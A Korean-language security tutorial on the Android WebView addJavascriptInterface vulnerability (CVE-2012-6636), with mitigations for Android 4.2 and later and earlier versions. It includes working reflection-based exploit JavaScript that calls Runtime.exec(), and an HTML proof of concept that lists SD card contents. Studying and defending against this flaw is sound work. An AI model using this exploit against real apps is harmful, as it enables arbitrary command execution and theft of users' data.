
Android 3.0~4.1.x의 Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank 및 기타 기기에서는 WebView 클래스를 올바르게 구현하지 않습니다. 이로 인해 원격 공격자가 조작된 웹 페이지를 통해 Java 객체의 임의 메서드를 실행하거나 서비스 거부(재부팅)를 유발할 수 있습니다. 이는 WebView.addJavascriptInterface 메서드 사용으로 입증되었으며, CVE-2012-6636과 관련된 문제입니다.
많은 경우 WebView를 사용하여 웹페이지를 표시합니다. 예를 들어 서버 제어를 달성하기 위해 많은 애플리케이션에서 결과 페이지는 로컬 구현이 아닌 웹페이지입니다. 이는 인터페이스 변경 시 새 버전을 출시할 필요 없이 서버 측에서 직접 수정하는 등 많은 장점이 있습니다. 웹페이지로 인터페이스를 표시할 때는 일반적으로 Java 코드와 어느 정도 상호 작용이 있습니다. 예를 들어 웹페이지 위의 버튼을 클릭하면 버튼 클릭 이벤트를 알아야 하거나, 메서드를 호출하여 페이지가 특정 작업을 수행하도록 해야 합니다. 이러한 상호 작용을 달성하기 위해 일반적으로 JS를 사용하며, WebView는 이러한 방법을 제공합니다. 구체적인 사용법은 다음과 같습니다.
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
WebView에 "jsInterface"라는 이름의 객체를 등록하도록 요청한 다음 JS에서 jsInterface 객체에 접근하여 객체의 일부 메서드를 호출하고 최종적으로 Java 코드를 호출하여 JS와 Java 코드 간의 상호 작용을 실현합니다. Android 웹사이트의 addJavascriptInterface 메서드 설명을 함께 살펴보겠습니다.
이 메서드는 JavaScript가 호스트 애플리케이션을 제어할 수 있도록 허용하는 데 사용할 수 있습니다. 이는 강력한 기능이지만 API 레벨 JELLYBEAN 이하를 대상으로 하는 애플리케이션에는 보안 위험을 나타냅니다. JavaScript가 리플렉션을 사용하여 주입된 객체의 public 필드에 접근할 수 있기 때문입니다. 신뢰할 수 없는 콘텐츠를 포함하는 WebView에서 이 메서드를 사용하면 공격자가 호스트 애플리케이션의 권한으로 Java 코드를 실행하여 의도하지 않은 방식으로 호스트 애플리케이션을 조작할 수 있습니다. 신뢰할 수 없는 콘텐츠가 포함될 수 있는 WebView에서 이 메서드를 사용할 때는 각별히 주의해야 합니다.
JavaScript는 이 WebView의 비공개 백그라운드 스레드에서 Java 객체와 상호 작용합니다. 따라서 스레드 안전성을 유지하기 위해 주의가 필요합니다. Java 객체의 필드에는 접근할 수 없습니다.
간단히 말해, addJavascriptInterface를 사용하면 JS에 악성 코드가 포함될 수 있으므로 안전하지 않을 수 있습니다. 오늘 우리가 말하려는 허점이 바로 이것입니다. JS에 악성 코드가 포함되면 무엇이든 할 수 있습니다.
JavaScript를 통해 장치의 SD 카드, 연락처 정보, SMS 등에 접근할 수 있습니다. 끔찍하죠.
WebView가 JavaScript 객체를 추가하고 현재 애플리케이션에 SDCard 읽기 및 쓰기 권한, 또는 android.permission.WRITE_EXTERNAL_STORAGE가 있는 경우
JS에서 window 객체를 통해 "getClass" 메서드를 가진 객체를 찾은 다음, 리플렉션 메커니즘을 통해 Runtime 객체를 얻고 정적 메서드를 호출하여 파일 명령에 접근하는 등의 명령을 실행합니다.
실행 명령의 입력 스트림에서 반환된 문자열을 통해 파일 이름 정보를 얻을 수 있습니다. 그런 다음 원하는 작업을 수행할 수 있으며, 위험이 큽니다. 핵심 JS 코드는 다음과 같습니다.
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
이 허점을 증명하기 위해 로컬 웹페이지의 악성 JS 코드를 로드했습니다. HTML 코드는 다음과 같습니다.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java 코드는 다음과 같습니다.
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
권한을 추가해야 합니다.
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
Android 4.2 이상 시스템 Android 4.2 이상에서 Google은 Java 원격 메서드에 @JavascriptInterface를 선언하도록 수정했습니다. 다음 코드와 같습니다.
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Android 4.2 미만 시스템
이 문제는 해결하기 어렵고 해결할 수도 없습니다. 우선 addJavascriptInterface 메서드를 호출해서는 안 됩니다. 이 문제의 핵심은 JS 이벤트 동작을 아는 것입니다. JS가 Java와 상호 작용하는 방법은 여러 가지가 있습니다. 예를 들어 prompt, alert와 같은 동작은 WebChromeClient 메서드에 해당하며, prompt에 해당하는 클래스는 onJsPrompt 메서드에 해당합니다. 이 메서드의 선언은 다음과 같습니다.
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
이 메서드를 통해 JS는 정보(텍스트)를 Java로 전송할 수 있고, Java도 정보(텍스트)를 JS로 전송할 수 있습니다.